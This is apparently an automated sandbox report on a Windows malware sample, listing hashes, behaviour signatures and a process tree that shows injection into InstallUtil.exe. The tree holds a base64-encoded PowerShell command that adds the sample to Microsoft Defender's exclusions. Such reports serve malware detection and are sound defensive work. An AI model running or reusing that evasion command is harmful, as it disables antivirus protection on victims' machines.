Analysis
-
max time kernel
120s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
25-07-2024 10:18
Static task
static1
Behavioral task
behavioral1
Sample
bc43851a4132b4bd01e72b3da4f97460N.exe
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
bc43851a4132b4bd01e72b3da4f97460N.exe
Resource
win10v2004-20240709-en
General
-
Target
bc43851a4132b4bd01e72b3da4f97460N.exe
-
Size
4.2MB
-
MD5
bc43851a4132b4bd01e72b3da4f97460
-
SHA1
73dde316598b208e1ed2e9d8d342744969090760
-
SHA256
dc87017ebc4e4ca2d7f65e4d3ede241c3c1bd5908cf5fca24c3faadecce54705
-
SHA512
b27db04034bbc4616e18ac42c3ae3cdbb3f993a785413c5d5dbe5c61b7e621e657d835ad7a31dbfc930474b114ac6720bf0ddee13bbfef62608dd546a138d091
-
SSDEEP
24576:ocSRiKAoeMxDa6JtXtSGv7MOfmOh/epNPGi3XxV73LacYLNdK+UwqJ5ji5eB+VyR:
Malware Config
Signatures
-
Suspicious use of SetThreadContext 1 IoCs
Processes:
bc43851a4132b4bd01e72b3da4f97460N.exedescription pid process target process PID 2196 set thread context of 1276 2196 bc43851a4132b4bd01e72b3da4f97460N.exe InstallUtil.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
powershell.exeInstallUtil.exebc43851a4132b4bd01e72b3da4f97460N.execmd.exetimeout.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language InstallUtil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bc43851a4132b4bd01e72b3da4f97460N.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe -
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 2780 timeout.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1516 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
bc43851a4132b4bd01e72b3da4f97460N.exepowershell.exedescription pid process Token: SeDebugPrivilege 2196 bc43851a4132b4bd01e72b3da4f97460N.exe Token: SeDebugPrivilege 2196 bc43851a4132b4bd01e72b3da4f97460N.exe Token: SeDebugPrivilege 1516 powershell.exe Token: SeDebugPrivilege 2196 bc43851a4132b4bd01e72b3da4f97460N.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
InstallUtil.exepid process 1276 InstallUtil.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
bc43851a4132b4bd01e72b3da4f97460N.execmd.exedescription pid process target process PID 2196 wrote to memory of 2672 2196 bc43851a4132b4bd01e72b3da4f97460N.exe cmd.exe PID 2196 wrote to memory of 2672 2196 bc43851a4132b4bd01e72b3da4f97460N.exe cmd.exe PID 2196 wrote to memory of 2672 2196 bc43851a4132b4bd01e72b3da4f97460N.exe cmd.exe PID 2196 wrote to memory of 2672 2196 bc43851a4132b4bd01e72b3da4f97460N.exe cmd.exe PID 2672 wrote to memory of 2780 2672 cmd.exe timeout.exe PID 2672 wrote to memory of 2780 2672 cmd.exe timeout.exe PID 2672 wrote to memory of 2780 2672 cmd.exe timeout.exe PID 2672 wrote to memory of 2780 2672 cmd.exe timeout.exe PID 2196 wrote to memory of 1516 2196 bc43851a4132b4bd01e72b3da4f97460N.exe powershell.exe PID 2196 wrote to memory of 1516 2196 bc43851a4132b4bd01e72b3da4f97460N.exe powershell.exe PID 2196 wrote to memory of 1516 2196 bc43851a4132b4bd01e72b3da4f97460N.exe powershell.exe PID 2196 wrote to memory of 1516 2196 bc43851a4132b4bd01e72b3da4f97460N.exe powershell.exe PID 2196 wrote to memory of 1276 2196 bc43851a4132b4bd01e72b3da4f97460N.exe InstallUtil.exe PID 2196 wrote to memory of 1276 2196 bc43851a4132b4bd01e72b3da4f97460N.exe InstallUtil.exe PID 2196 wrote to memory of 1276 2196 bc43851a4132b4bd01e72b3da4f97460N.exe InstallUtil.exe PID 2196 wrote to memory of 1276 2196 bc43851a4132b4bd01e72b3da4f97460N.exe InstallUtil.exe PID 2196 wrote to memory of 1276 2196 bc43851a4132b4bd01e72b3da4f97460N.exe InstallUtil.exe PID 2196 wrote to memory of 1276 2196 bc43851a4132b4bd01e72b3da4f97460N.exe InstallUtil.exe PID 2196 wrote to memory of 1276 2196 bc43851a4132b4bd01e72b3da4f97460N.exe InstallUtil.exe PID 2196 wrote to memory of 1276 2196 bc43851a4132b4bd01e72b3da4f97460N.exe InstallUtil.exe PID 2196 wrote to memory of 1276 2196 bc43851a4132b4bd01e72b3da4f97460N.exe InstallUtil.exe PID 2196 wrote to memory of 1276 2196 bc43851a4132b4bd01e72b3da4f97460N.exe InstallUtil.exe PID 2196 wrote to memory of 1276 2196 bc43851a4132b4bd01e72b3da4f97460N.exe InstallUtil.exe PID 2196 wrote to memory of 1276 2196 bc43851a4132b4bd01e72b3da4f97460N.exe InstallUtil.exe PID 2196 wrote to memory of 1276 2196 bc43851a4132b4bd01e72b3da4f97460N.exe InstallUtil.exe PID 2196 wrote to memory of 1276 2196 bc43851a4132b4bd01e72b3da4f97460N.exe InstallUtil.exe PID 2196 wrote to memory of 1276 2196 bc43851a4132b4bd01e72b3da4f97460N.exe InstallUtil.exe PID 2196 wrote to memory of 1276 2196 bc43851a4132b4bd01e72b3da4f97460N.exe InstallUtil.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\bc43851a4132b4bd01e72b3da4f97460N.exe"C:\Users\Admin\AppData\Local\Temp\bc43851a4132b4bd01e72b3da4f97460N.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2196 -
C:\Windows\SysWOW64\cmd.exe"cmd" /c timeout 21 & exit2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2672 -
C:\Windows\SysWOW64\timeout.exetimeout 213⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:2780 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYgBjADQAMwA4ADUAMQBhADQAMQAzADIAYgA0AGIAZAAwADEAZQA3ADIAYgAzAGQAYQA0AGYAOQA3ADQANgAwAE4ALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAGIAYwA0ADMAOAA1ADEAYQA0ADEAMwAyAGIANABiAGQAMAAxAGUANwAyAGIAMwBkAGEANABmADkANwA0ADYAMABOAC4AZQB4AGUAOwA=2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1516 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:1276
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
144B
MD53ac39fdf1d676fbff447f2c5ef2c2ce4
SHA1b2baad310c50300f0991a2a8dd34b2e31bb2021c
SHA256f8c5546564d2f94d9b9cdeb6463662f2add464c6ed8098707f7ed8e994413e7f
SHA51290acbd00e1abc3ff5b11c36f5dbb1ce0e81937a7ae0d23dc09b494f3e420f0c1fda103d736c1321d270d9c586b7af4d4f99f1c8eb47574db609c3c3a6411dc36